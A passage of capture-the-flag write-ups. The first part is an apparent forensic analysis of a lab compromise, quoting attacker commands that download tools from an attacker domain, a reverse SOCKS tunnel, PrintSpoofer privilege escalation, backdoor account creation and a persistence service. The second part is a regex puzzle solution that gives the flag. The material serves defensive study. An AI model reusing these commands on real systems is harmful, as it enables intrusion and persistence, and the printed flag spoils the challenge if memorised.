  dar---        6/21/2022   1:15 AM                OneDrive
  d-r---        6/20/2022   4:13 PM                Pictures
  d-r---        6/20/2022   4:13 PM                Saved Games
  d-r---        6/20/2022   4:13 PM                Searches
  d-r---        6/20/2022   5:57 PM                Videos

<strong>> dir C:\Users\benimaru\documents 
</strong>
> dir C:\users\benimaru\Desktop -

      Directory: C:\users\benimaru\Desktop


  Mode                LastWriteTime         Length Name
  ----                -------------         ------ ----
  -a----        6/20/2022  11:34 PM            268 automation.ps1
  -a----        6/20/2022   4:13 PM           1446 Microsoft Edge.lnk
  
> cat C:\Users\Benimaru\Desktop\automation.ps1
</code></pre>

A file, `automation.ps1`, was discovered which includes the user, `benimaru`'s, credentials in plaintext:

```powershell
$user = "TEMPEST\benimaru"
$pass = "infernotempest"

$securePassword = ConvertTo-SecureString $pass -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $user, $securePassword

## TODO: Automate easy tasks to hack working hours
```

Following the user enumeration, network-related information were then gathered:

```powershell
> netstat -ano -p tcp

  Active Connections

    Proto  Local Address          Foreign Address        State           PID
    TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       864
    TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
    TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       5508
    TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING       4
    TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
    TCP    0.0.0.0:7680           0.0.0.0:0              LISTENING       4964
    TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
    TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       476
    TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1212
    TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1760
    TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       2424
    TCP    0.0.0.0:49671          0.0.0.0:0              LISTENING       624
    TCP    0.0.0.0:49676          0.0.0.0:0              LISTENING       608
    TCP    192.168.254.107:139    0.0.0.0:0              LISTENING       4
    TCP    192.168.254.107:51802  52.139.250.253:443     ESTABLISHED     3216
    TCP    192.168.254.107:51839  34.104.35.123:80       TIME_WAIT       0
    TCP    192.168.254.107:51858  104.101.22.128:80      TIME_WAIT       0
    TCP    192.168.254.107:51860  20.205.146.149:443     TIME_WAIT       0
    TCP    192.168.254.107:51861  204.79.197.200:443     ESTABLISHED     4352
    TCP    192.168.254.107:51871  20.190.144.169:443     TIME_WAIT       0
    TCP    192.168.254.107:51876  52.178.17.2:443        ESTABLISHED     4388
    TCP    192.168.254.107:51878  20.60.178.36:443       ESTABLISHED     4388
    TCP    192.168.254.107:51881  52.109.124.115:443     ESTABLISHED     4388
    TCP    192.168.254.107:51882  52.139.154.55:443      ESTABLISHED     4388
    TCP    192.168.254.107:51884  40.119.211.203:443     ESTABLISHED     4388
    TCP    192.168.254.107:51895  52.152.90.172:443      ESTABLISHED     5508
    TCP    192.168.254.107:51896  20.44.229.112:443      ESTABLISHED     8904
```

Finally, the threat actor downloaded **chisel** (a socks proxy application) into the workstation:

```powershell
> powershell iwr http://phishteam.xyz/02dcf07/ch.exe -outfile C:\Users\benimaru\Downloads\ch.exe - base64: invalid input

> dir C:\Users\benimaru\Downloads\ch.exe -

      Directory: C:\Users\benimaru\Downloads


  Mode                LastWriteTime         Length Name
  ----                -------------         ------ ----
  -a----        6/21/2022   1:17 AM        8230912 ch.exe
```

A reverse socks proxy to `167.71.199.191:8080` was started:

```bash
$ cat sysmon.json | grep EventId..1, | grep benimaru | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^(ParentC|C)ommandLine|^User|^Hashes|^(ParentP|P)rocessId|^UtcTime"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add | select(.Image | test(".*ch.exe"))'

  {
    "UtcTime": "2022-06-20 17:18:48.723",
    "ProcessId": "7388",
    "Image": "C:\\Users\\benimaru\\Downloads\\ch.exe",
    "CommandLine": "\"C:\\Users\\benimaru\\Downloads\\ch.exe\" client 167.71.199.191:8080 R:socks",
    "User": "TEMPEST\\benimaru",
    "Hashes": "MD5=527C71C523D275C8367B67BBEBF48E9F,SHA256=8A99353662CCAE117D2BB22EFD8C43D7169060450BE413AF763E8AD7522D2451,IMPHASH=C7269D59926FA4252270F407E4DAB043",
    "ParentProcessId": "8948",
    "ParentCommandLine": "\"C:\\Users\\Public\\Downloads\\first.exe\""
  }
```

The user, `benimaru`, belonging to the `Remote Management Users` group as well as having TCP port 5985 open in his workstation may have given the threat actor remote access via WinRM. The logs below show all Network logons (LogonType 3) of the compromised user:

```bash
$ cat windows.json | grep -E 'EventId..4624' | grep 'benimaru' | grep -i "type 3" | jq -r '{LogonType: .PayloadData2, UserName: .PayloadData1, Time: .TimeCreated}'

  {
    "LogonType": "LogonType 3",
    "UserName": "Target: TEMPEST\\benimaru",
    "Time": "2022-06-20T17:19:05.7222347+00:00"
  }
  {
    "LogonType": "LogonType 3",
    "UserName": "Target: TEMPEST\\benimaru",
    "Time": "2022-06-20T17:20:06.2574361+00:00"
  }
  {
    "LogonType": "LogonType 3",
    "UserName": "Target: TEMPEST\\benimaru",
    "Time": "2022-06-20T17:21:05.5133859+00:00"
  }
  {
    "LogonType": "LogonType 3",
    "UserName": "Target: TEMPEST\\benimaru",
    "Time": "2022-06-20T17:21:33.8813884+00:00"
  }
```

### III. Privilege Escalation

> Based on the collected findings, the attacker gained a stable shell through a reverse socks proxy.

Executions were seen in the Sysmon logs but not in the captured network traffic. This leads to the assumption that the threat actor was able to establish a stable shell via WinRM.

The first execution was enumeration of privileges for the current user context (`benimaru`):

```json
{
  "UtcTime": "2022-06-20 17:19:16.266",
  "ProcessId": "2068",
  "Image": "C:\\Windows\\System32\\whoami.exe",
  "CommandLine": "\"C:\\Windows\\system32\\whoami.exe\" /priv",
  "User": "TEMPEST\\benimaru",
  "Hashes": "MD5=43C2D3293AD939241DF61B3630A9D3B6,SHA256=1D5491E3C468EE4B4EF6EDFF4BBC7D06EE83180F6F0B1576763EA2EFE049493A,IMPHASH=7FF0758B766F747CE57DFAC70743FB88",
  "ParentProcessId": "6204",
  "ParentCommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" whoami /priv"
}
```

Afterwhich, the files, `spf.exe` and `final.exe`, were downloaded into the workstation:

```powershell
{
  "UtcTime": "2022-06-20 17:20:06.648",
  "ProcessId": "6804",
  "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
  "CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" iwr http://phishteam.xyz/02dcf07/spf.exe -outfile spf.exe",
  "User": "TEMPEST\\benimaru",
  "Hashes": "MD5=7353F60B1739074EB17C5F4DDDEFE239,SHA256=DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C,IMPHASH=741776AACCFC5B71FF59832DCDCACE0F",
  "ParentProcessId": "4208",
  "ParentCommandLine": "C:\\Windows\\system32\\wsmprovhost.exe -Embedding"
}
{
  "UtcTime": "2022-06-20 17:21:05.827",
  "ProcessId": "3712",
  "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
  "CommandLine": "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" iwr http://phishteam.xyz/02dcf07/final.exe -outfile C:\\ProgramData\\final.exe",
  "User": "TEMPEST\\benimaru",
  "Hashes": "MD5=7353F60B1739074EB17C5F4DDDEFE239,SHA256=DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C,IMPHASH=741776AACCFC5B71FF59832DCDCACE0F",
  "ParentProcessId": "4208",
  "ParentCommandLine": "C:\\Windows\\system32\\wsmprovhost.exe -Embedding"
}
```

`spf.exe` was executed (to run `final.exe` after the fact) and based on the executable's hash was found to be a **printspoofer** exploit which abuses impersonation privileges (**SeImpersonatePrivilege**). The threat actor must have been tipped off after enumerating user privileges.&#x20;

```json
{
  "UtcTime": "2022-06-20 17:21:34.192",
  "ProcessId": "6828",
  "Image": "C:\\Users\\benimaru\\Downloads\\spf.exe",
  "CommandLine": "\"C:\\Users\\benimaru\\Downloads\\spf.exe\" -c C:\\ProgramData\\final.exe",
  "User": "TEMPEST\\benimaru",
  "Hashes": "MD5=108DA75DE148145B8F056EC0827F1665,SHA256=8524FBC0D73E711E69D60C64F1F1B7BEF35C986705880643DD4D5E17779E586D,IMPHASH=545A81240793F9CA97306FA5B3AD76DF",
  "ParentProcessId": "4208",
  "ParentCommandLine": "C:\\Windows\\system32\\wsmprovhost.exe -Embedding"
}
{
  "UtcTime": "2022-06-20 17:21:34.268",
  "ProcessId": "8264",
  "Image": "C:\\ProgramData\\final.exe",
  "CommandLine": "C:\\ProgramData\\final.exe",
  "User": "NT AUTHORITY\\SYSTEM",
  "Hashes": "MD5=4C014F94A8FA0B484A2EDAB422AB2A1A,SHA256=03E1840A24506AFC88AB5FF7F83D2B07B558B34FF42DD34DD93267FD2E7A74E6,IMPHASH=468991D410EEFBCFB478FB910DDA2CE2",
  "ParentProcessId": "6828",
  "ParentCommandLine": "\"C:\\Users\\benimaru\\Downloads\\spf.exe\" -c C:\\ProgramData\\final.exe"
}
```

After the execution of `final.exe`, network connections were checked on sysmon for possible callbacks and true enough:

```bash
$ cat sysmon.json | grep EventId..3, | grep -i final.exe | jq -r '.Payload' | jq -r '[.EventData.Data[] | select(."@Name" | test("^Image|^U|^Source(Ip|Port)|^Destination(Ip|Port)"))] | to_entries | map({(.value."@Name"): (.value."#text")}) | add' | grep -E 'Image|Destination(Ip|Port")' | sort | uniq

  "DestinationIp": "167.71.222.162",
  "DestinationPort": "8080",
  "Image": "C:\\ProgramData\\final.exe",
```

### IV. Post-Exploitation

> Now, the attacker has gained administrative privileges inside the machine. Find all persistence techniques used by the attacker.
>
> In addition, the unusual executions are related to the malicious C2 binary used during privilege escalation.

Callbacks to `167.71.222.162:8080` were parsed and decoded using the following command:

```bash
$ for i in $(tshark -r capture.pcapng -Y '(ip.dst==167.71.222.162 and tcp.port eq 8080) and frame contains "?q="' -T fields -e http.request.uri | cut -d'=' -f2); 
> do echo $i | base64 -d;
> done
```

Now, the current user context of the threat actor is `NT AUTHORITY\SYSTEM` which is the local superadmin of the workstation:

```powershell
> whoami

  nt authority\system

> pwd 

  Path
  ----
  C:\Windows\system32
  
> whoami /priv

  PRIVILEGES INFORMATION
  ----------------------

  Privilege Name                            Description                                                        State
  ========================================= ================================================================== =======
  SeCreateTokenPrivilege                    Create a token object                                              Enabled
  SeAssignPrimaryTokenPrivilege             Replace a process level token                                      Enabled
  SeLockMemoryPrivilege                     Lock pages in memory                                               Enabled
  SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
  SeTcbPrivilege                            Act as part of the operating system                                Enabled
  SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
  SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
  SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
  SeSystemProfilePrivilege                  Profile system performance                                         Enabled
  SeSystemtimePrivilege                     Change the system time                                             Enabled
  SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
  SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
  SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
  SeCreatePermanentPrivilege                Create permanent shared objects                                    Enabled
  SeBackupPrivilege                         Back up files and directories                                      Enabled
  SeRestorePrivilege                        Restore files and directories                                      Enabled
  SeShutdownPrivilege                       Shut down the system                                               Enabled
  SeDebugPrivilege                          Debug programs                                                     Enabled
  SeAuditPrivilege                          Generate security audits                                           Enabled
  SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
  SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
  SeUndockPrivilege                         Remove computer from docking station                               Enabled
  SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
  SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
  SeCreateGlobalPrivilege                   Create global objects                                              Enabled
  SeTrustedCredManAccessPrivilege           Access Credential Manager as a trusted caller                      Enabled
  SeRelabelPrivilege                        Modify an object label                                             Enabled
  SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
  SeTimeZonePrivilege                       Change the time zone                                               Enabled
  SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
  SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
```

They attempted to add two new users, `shuna` and `shion`, but failed without adding the option, `/add`, to the `net user` command:

```powershell
> net user shuna pr1nc3ss!

> net user shion m4st3rch3f!

> net users

  User accounts for \\

  -------------------------------------------------------------------------------
  Administrator            benimaru                 DefaultAccount
  Guest                    rimuru                   WDAGUtilityAccount
  The command completed with one or more errors.
```

This time around, with the correct command, the two users were successfully created:

```
> net user /add shuna princess 

  The command completed successfully.

> net user /add shion m4st3rch3f! 

  The command completed successfully.
  
> net users
  
  User accounts for \\

  -------------------------------------------------------------------------------
  Administrator            benimaru                 DefaultAccount
  Guest                    rimuru                   shion
  shuna                    WDAGUtilityAccount
  The command completed with one or more errors.
```

Another thing the threat actor did for persistence was to change the local administrator's password as well as add the new user, `shion`, to the `localadministrators` group:

```
> net user Administrator ch4ng3dpassword! 

  The command completed successfully.

> net localgroup administrators /add shion
  
  The command completed successfully.
  
> net localgroup administrators

  Alias name     administrators
  Comment        Administrators have complete and unrestricted access to the computer/domain

  Members

  -------------------------------------------------------------------------------
  Administrator
  rimuru
  shion
  The command completed successfully.
```

The logs below confirms the creation of two new users (Event ID 4720) as well the addition of `shion` to the `localadministrators` group (Event ID 4732):

```bash
$ cat windows.json | grep -E 'EventId..4720' | jq -r '{Username: .PayloadData1, Time: .TimeCreated}'

  {
    "Username": "Target: TEMPEST\\shuna (S-1-5-21-349058839-1848105669-1528301110-1002)",
    "Time": "2022-06-20T17:27:19.1269169+00:00"
  }
  {
    "Username": "Target: TEMPEST\\shion (S-1-5-21-349058839-1848105669-1528301110-1003)",
    "Time": "2022-06-20T17:27:28.6292691+00:00"
  }
  
$ cat windows.json | grep -E 'EventId..4732' | grep Administrators | jq -r '{Group: .PayloadData1, MemberSID: .PayloadData4, Time: .TimeCreated}'

  {
    "Group": "Target: Builtin\\Administrators (S-1-5-32-544)",
    "MemberSID": "MemberSid: S-1-5-21-349058839-1848105669-1528301110-1003",
    "Time": "2022-06-20T17:27:41.2977760+00:00"
  }
```

Another persistence method performed was by creating a service (`TempestUpdate2`) that will run `final.exe`:

```powershell
> sc.exe \\TEMPEST create TempestUpdate binpath= C:\ProgramData\final.exe start= auto 

  [SC] CreateService FAILED 1073:

  The specified service already exists.
  
> sc.exe \\TEMPEST create TempestUpdate2 binpath= C:\ProgramData\final.exe start= auto

  [SC] CreateService SUCCESS
  
> sc.exe qc TempestUpdate2

  [SC] QueryServiceConfig SUCCESS

  SERVICE_NAME: TempestUpdate2
          TYPE               : 10  WIN32_OWN_PROCESS
          START_TYPE         : 2   AUTO_START
          ERROR_CONTROL      : 1   NORMAL
          BINARY_PATH_NAME   : C:\ProgramData\final.exe
          LOAD_ORDER_GROUP   :
          TAG                : 0
          DISPLAY_NAME       : TempestUpdate2
          DEPENDENCIES       :
          SERVICE_START_NAME : LocalSystem  
```

## TIMELINE OF EVENTS

<table><thead><tr><th width="212" align="center">Timestamp</th><th>Event</th></tr></thead><tbody><tr><td align="center">2022-06-20 17:12:56</td><td>The file, <code>free_magicules.doc</code> , was downloaded into the workstation.</td></tr><tr><td align="center">2022-06-20 17:13:12</td><td>The file, <code>free_magicules.doc</code>, was opened in Microsoft Word.</td></tr><tr><td align="center">2022-06-20 17:13:35</td><td>CVE-2022-30190 (Follina) Execution</td></tr><tr><td align="center">2022-06-20 17:13:37</td><td>The file, <code>update.zip</code>, was downloaded into the workstation.</td></tr><tr><td align="center">2022-06-20 17:15:10</td><td>Stage 2 payload (<code>first.exe</code>) was downloaded into the workstation.</td></tr><tr><td align="center">2022-06-20 17:15:14</td><td>First seen execution of <code>first.exe</code>.</td></tr><tr><td align="center">2022-06-20 17:18:48</td><td>Download and execution of chisel (<code>ch.exe</code>).</td></tr><tr><td align="center">2022-06-20 17:19:05</td><td>First seen (assumed) unauthorized login to <code>TEMPEST\benimaru</code> via WinRM.</td></tr><tr><td align="center">2022-06-20 17:20:06</td><td>PrintSpoofer exploit (<code>spf.exe</code>) was downloaded into the workstation.</td></tr><tr><td align="center">2022-06-20 17:21:05</td><td>The file, <code>final.exe</code>, was downloaded into the workstation.</td></tr><tr><td align="center">2022-06-20 17:21:34</td><td>Execution of <code>spf.exe</code> and <code>final.exe</code>.</td></tr><tr><td align="center">2022-06-20 17:26:29</td><td>Creation of the <code>TempestUpdate2</code> service for persistence.</td></tr><tr><td align="center">2022-06-20 17:27:19</td><td>Creation of two users (<code>shuna</code> and <code>shion</code>) as well as addition of <code>shion</code> to the local administrators group.</td></tr></tbody></table>


# InfoSec Philippines


# Crypto?

Reversing | Hard

## PART 0 :  CHALLENGE

### 0.1 DESCRIPTION

> Not sure but there is a hidden message. Can you get it?

### 0.2 GIVEN

```bash
^ISP{(?=.*4.0.*R.*G.*)(?=.*(?=\d\D{6}\d.+\d{2}\D\d.$))(?=[^}]{42}5}$)(?=.+\Dn0\D(?:.*[A-Z][2-8][A-Z]){1,}.*\D4r.[^_]+$)(?=.*u.{5}u.+ss[n0-5]+})(?=(?=[NC0-9]{3}\W).*(?=[ale].._[n-x301]{10}.{2}$))(?=[^689ABDEFH-MO-QS-Z]{43})(?=(?:[^_]+_){6}[^_]+})(?=[A-Z4]+'[b-w_0-7]+\+[l-xG_R0-5]+.$)(?=[C3P0]+4[NSA].[7of9]_.+_[um]+[abc][help](?:_[^_]{5}.*){3}})(?=.+\w\w\dw(?:_\d_).*(?=.3[r4-9_xp]{3}3\w{2}[15][40].{2}}))(?=.+\D2.[mango][rum][hooch]+\w\d.{13}\dxp[^_xp]{9})(?=.{5}_[ak47].*\db\d.+\+_[D-Z3]{3}[BuMP69][l4ser]{3,6}).*}$
```

### 0.3 FLAG

```bash
ISP{C4N'7_kn0w_2_much_4b0u+_R3Gul4r_3xpr3ss10n5}
```

## PART 1 : POSITIVE LOOKAHEADS

There are **13 lookaheads** that must be matched to verify the flag:

```bash
(?=.*4.0.*R.*G.*)
(?=.*(?=\d\D{6}\d.+\d{2}\D\d.$))
(?=[^}]{42}5}$)
(?=.+\Dn0\D(?:.*[A-Z][2-8][A-Z]){1,}.*\D4r.[^_]+$)
(?=.*u.{5}u.+ss[n0-5]+})
(?=(?=[NC0-9]{3}\W).*(?=[ale].._[n-x301]{10}.{2}$))
(?=[^689ABDEFH-MO-QS-Z]{43})
(?=(?:[^_]+_){6}[^_]+})
(?=[A-Z4]+'[b-w_0-7]+\+[l-xG_R0-5]+.$)
(?=[C3P0]+4[NSA].[7of9]_.+_[um]+[abc][help](?:_[^_]{5}.*){3}})
(?=.+\w\w\dw(?:_\d_).*(?=.3[r4-9_xp]{3}3\w{2}[15][40].{2}}))
(?=.+\D2.[mango][rum][hooch]+\w\d.{13}\dxp[^_xp]{9})
(?=.{5}_[ak47].*\db\d.+\+_[D-Z3]{3}[BuMP69][l4ser]{3,6})
```

Each and every one of them should match all the succeeding characters of `ISP{` including `}`.

## PART 2 : MESSAGE STRUCTURE

### 2.1 MESSAGE LENGTH

For this one, we can use the following lookahead:

```bash
(?=[^}]{42}5}$)
```

This simply indicates that from the substring `ISP{` there are **42 characters** before ending the entire message with `5}`.

With that, the hidden message should look like something like this for the time being:

```bash
ISP{??????????????????????????????????????????5}
```

### 2.2 WORD COUNT

The word count could be determined from the following lookahead:

```bash
(?=(?:[^_]+_){6}[^_]+})
```

Expanding this expression gives us:

```bash
[^_]+_[^_]+_[^_]+_[^_]+_[^_]+_[^_]+_[^_]+}
```

Or simply something like this which means there are **7 "words" separated by underscores** forming the flag:

```bash
<word>_<word>_<word>_<word>_<word>_<word>_<word>}
```

### 2.3 CHARACTER SET

The character set to work with when deducing the message has been quite limited by the following lookahead:

```bash
(?=[^689ABDEFH-MO-QS-Z]{43})
```

The hidden message is simply formed by the characters not contained within the square brackets; leaving us with **0-5**, **7**, **a-z**, **C**, **G**, **N**, **P**, and all special characters to work with.

## PART 3 : THE FIRST WORD

Positive lookaheads in this scenario are only concerned with what comes after the substring `ISP{` even if they are lined up consecutively. That's why each and every one can be used to verify the entire flag.

The following lookaheads give valuable insight on what the first word might be:

```bash
(?=(?=[NC0-9]{3}\W).*(?=[ale].._[n-x301]{10}.{2}$))
(?=[A-Z4]+'[b-w_0-7]+\+[l-xG_R0-5]+.$)
(?=[C3P0]+4[NSA].[7of9]_.+_[um]+[abc][help](?:_[^_]{5}.*){3}})
(?=.{5}_[ak47].*\db\d.+\+_[D-Z3]{3}[BuMP69][l4ser]{3,6})
```

Looking at the following lookahead, it can be determined that there are five characters before the underscore. That means **the first word must consist of five characters**:

```bash
(?=.{5}_[ak47].*\db\d.+\+_[D-Z3]{3}[BuMP69][l4ser]{3,6})
```

So that means the flag will look like this for the time being:

```bash
ISP{11111_????????????????????????????????????5}
```

Now, to determine what those characters actually, let's look at the other lookaheads in this section that show indication of being part of the first word (regular expressions that end with the possibility of an underscore):

```bash
[NC0-9]{3}\W
[A-Z4]+'[b-w_0-7]+
[C3P0]+4[NSA].[7of9]_
```

It seems to be hard to narrow down but the actual character set has been severely limited for uppercase letters and numbers. The only ones left are **C**, **G**, **N**, **R**, **0-5**, and **7**. So we can narrow down the options to the following:

|  1  |  2  |  3  |  4  |  5  |
| :-: | :-: | :-: | :-: | :-: |
|  C  |  4  |  N  |  '  |  7  |
|  -  |  -  |  -  |  -  |  o  |
|  -  |  -  |  -  |  -  |  f  |

With all that, `C4N'7` or simply **CAN'T** is the most acceptable choice for the first word and the flag should now be something like this:

```bash
ISP{C4N'7_????????????????????????????????????5}
```

## PART 4 : THE SEVENTH WORD

Following a similar approach to the previous section, we can take lookaheads that give understanding on what the characters or word will be:

```bash
(?=.*(?=\d\D{6}\d.+\d{2}\D\d.$))
(?=(?=[NC0-9]{3}\W).*(?=[ale].._[n-x301]{10}.{2}$))
(?=.+\w\w\dw(?:_\d_).*(?=.3[r4-9_xp]{3}3\w{2}[15][40].{2}}))
```

Starting with this one, we see that **the last word is 11 characters long** plus the closing curly brace of the flag:

```bash
(?=(?=[NC0-9]{3}\W).*(?=[ale].._[n-x301]{10}.{2}$))
```

The last 2 characters are `5}` and the preceding characters could be anywhere in **n-x**, **0**, **1**, and **3**. It could be further narrowed down with this one:

```bash
(?=.*(?=\d\D{6}\d.+\d{2}\D\d.$))
```

This indicates that the character before `5}` is not a number since it is denoted by `\D` near the end and there are two numbers before it as supported by the following wherein the first and second number could be **1** or **5** and **4** or **0** respectively but due to the previous lookahead, only **0** or **1** is allowed:

```bash
(?=.+\w\w\dw(?:_\d_).*(?=.3[r4-9_xp]{3}3\w{2}[15][40].{2}}))
```

Now we can begin to deduce the final word:

|  1  |  2  |  3  |  4  |  5  |  6  |  7  |  8  |  9  |  10 |  11 |
| :-: | :-: | :-: | :-: | :-: | :-: | :-: | :-: | :-: | :-: | :-: |
|  3  |  p  |  p  |  p  |  3  | n-x | n-x |  1  |  0  | n-x |  5  |
|  -  |  r  |  r  |  r  |  -  | 0-1 | 0-1 |  -  |  -  |  -  |  -  |
|  -  |  x  |  x  |  x  |  -  |  3  |  3  |  -  |  -  |  -  |  -  |
|  -  | 4-5 | 4-5 | 4-5 |  -  |  -  |  -  |  -  |  -  |  -  |  -  |
|  -  |  7  |  7  |  7  |  -  |  -  |  -  |  -  |  -  |  -  |  -  |

Although it seems to be quite obvious, it could further be made easier by the following lookahead:

```bash
(?=.*u.{5}u.+ss[n0-5]+})
```

The 8th, 9th, 10th, and 11th characters fall within the allowed characters `[n0-5]+` as well as succeeded by a `}` which means that the 6th and 7th characters are both the letter, **s**, leaving us with:

|  1  |  2  |  3  |  4  |  5  |  6  |  7  |  8  |  9  |  10 |  11 |
| :-: | :-: | :-: | :-: | :-: | :-: | :-: | :-: | :-: | :-: | :-: |
|  3  |  p  |  p  |  p  |  3  |  s  |  s  |  1  |  0  |  n  |  5  |
|  -  |  r  |  r  |  r  |  -  |  -  |  -  |  -  |  -  |  -  |  -  |
|  -  |  x  |  x  |  x  |  -  |  -  |  -  |  -  |  -  |  -  |  -  |
|  -  | 4-5 | 4-5 | 4-5 |  -  |  -  |  -  |  -  |  -  |  -  |  -  |
|  -  |  7  |  7  |  7  |  -  |  -  |  -  |  -  |  -  |  -  |  -  |

Deciding on the 2nd, 3rd, and 4th character could be further narrowed down when looking at the following lookahead with the expression, `\dxp[^_xp]{9}`:

```bash
(?=.+\D2.[mango][rum][hooch]+\w\d.{13}\dxp[^_xp]{9})
```

The mentioned expression fits well with the character options left for the 7th word having a number followed by `xp` then nine characters (including the closing curly brace of the flag) that is not **p**, **x**, or **\_**:

|  1  |  2  |  3  |  4  |  5  |  6  |  7  |  8  |  9  |  10 |  11 |
| :-: | :-: | :-: | :-: | :-: | :-: | :-: | :-: | :-: | :-: | :-: |
|  3  |  x  |  p  |  r  |  3  |  s  |  s  |  1  |  0  |  n  |  5  |
|  -  |  -  |  -  | 4-5 |  -  |  -  |  -  |  -  |  -  |  -  |  -  |
|  -  |  -  |  -  |  7  |  -  |  -  |  -  |  -  |  -  |  -  |  -  |

Leaving us with the highly probable word, `3xpr3ss10n5`, which is just the same as `EXPRESSIONS`; updating the flag:

```bash
ISP{C4N'7_?????????????????????????_3xpr3ss10n5}
```

## PART 5 : THE SIXTH WORD

The last word has been determined and looking at the following lookaheads, it seems to be connected:

```bash
(?=.+\Dn0\D(?:.*[A-Z][2-8][A-Z]){1,}.*\D4r.[^_]+$)
(?=(?=[NC0-9]{3}\W).*(?=[ale].._[n-x301]{10}.{2}$))
(?=.{5}_[ak47].*\db\d.+\+_[D-Z3]{3}[BuMP69][l4ser]{3,6})
```

Starting with the following, it can be determined that the expression, `.[^_]+$`, is a pattern match to the previous section which means that the last 2 characters of the sixth word is `4r` and is preceded by a non-numerical character:

```bash
(?=.+\Dn0\D(?:.*[A-Z][2-8][A-Z]){1,}.*\D4r.[^_]+$)
```

But the looking at the following, we get to see an expression before the pattern match for the seventh word -- `[ale]..`:

```bash
(?=(?=[NC0-9]{3}\W).*(?=[ale].._[n-x301]{10}.{2}$))
```

Looking at the current determined character sets for the sixth word:

|  1  |  2  |  3  |
| :-: | :-: | :-: |
|  a  |  4  |  r  |
|  e  |  -  |  -  |
|  l  |  -  |  -  |

Most of which could be seen in the expression, `[l4ser]{3,6}`, in the following lookahead:

```bash
(?=.{5}_[ak47].*\db\d.+\+_[D-Z3]{3}[BuMP69][l4ser]{3,6})
```

This must be the actual pattern match for the sixth word and going with the minimum of 7 characters:

|  1  |  2  |  3  |  4  |  5  |  6  |  7  |
| :-: | :-: | :-: | :-: | :-: | :-: | :-: |
|  G  |  G  |  G  |  u  |  e  |  4  |  r  |
|  N  |  N  |  N  |  -  |  l  |  -  |  -  |
|  R  |  R  |  R  |  -  |  -  |  -  |  -  |
|  3  |  3  |  3  |  -  |  -  |  -  |  -  |

The sixth word is highly probable to be `R3Gul4r` which is just the same as `REGULAR` and it makes quite a lot of sense when looking at the currently decoded hidden message:

```bash
ISP{C4N'7_?????????????????_R3Gul4r_3xpr3ss10n5}
```

## PART 6 : THE FOURTH WORD

Determining this word is fairly easy by looking at the following lookaheads:

```bash
(?=[C3P0]+4[NSA].[7of9]_.+_[um]+[abc][help](?:_[^_]{5}.*){3}})
(?=.+\D2.[mango][rum][hooch]+\w\d.{13}\dxp[^_xp]{9})
```

But before moving forward, we can see that **the 5th, 6th, and 7th word should have at least 5 characters** based on the expression, `(_[^_]{5}.*){3}}`:

```bash
(?=[C3P0]+4[NSA].[7of9]_.+_[um]+[abc][help](?:_[^_]{5}.*){3}})
```

And with the expressions, `_[um]+[abc][help]` and `.[mango][rum][hooch]+` , it can be inferred that the fourth word is only around four characters. Supported by the fact that the stated allowed characters seems to have a lot of similarities and that the succeeding words should have more characters.

Now, mapping potential characters for a four letter word:

|  1  |  2  |  3  |  4  |
| :-: | :-: | :-: | :-: |
|  m  |  u  |  c  |  h  |

With this, the fourth word should be `much`.

## PART 7 : THE FIFTH WORD

Looking at the following lookahead, it could be determined that the fifth word ends with the character `+`:

```bash
(?=.{5}_[ak47].*\db\d.+\+_[D-Z3]{3}[BuMP69][l4ser]{3,6})
```

The following could also be used to determine the length of the fifth word:

```bash
(?=.+\D2.[mango][rum][hooch]+\w\d.{13}\dxp[^_xp]{9})
```

So far it's been known that the fourth word is `much` and the hidden message decoded so far is:

```bash
ISP{C4N'7_?????????????????_R3Gul4r_3xpr3ss10n5}
```

And based on the expression, `\w\d.{13}\dxp`, from the previously mentioned lookahead, it should look liek the following:

```bash
_<number>???+_R3Gul4r_3xp
```

Meaning that the 5th word is five characters long and its character set could be narrowed down with the following:

```bash
(?=[A-Z4]+'[b-w_0-7]+\+[l-xG_R0-5]+.$)
(?=.{5}_[ak47].*\db\d.+\+_[D-Z3]{3}[BuMP69][l4ser]{3,6})
```

And all characters except one should be within **b-w**, **0-5**, and **7** based on the following. The last character of which should be **+**:

```bash
(?=[A-Z4]+'[b-w_0-7]+\+[l-xG_R0-5]+.$)
```

If we treat the expression, `\db\d.++`, as part of the fifth word supported by the fact the the first character of the word is a number, we are left with the following options:

|  1  |  2  |  3  |  4  |  5  |
| :-: | :-: | :-: | :-: | :-: |
| 0-5 |  b  | 0-5 | b-w |  +  |
|  7  |  -  |  7  | 0-5 |  -  |
|  -  |  -  |  -  |  7  |  -  |

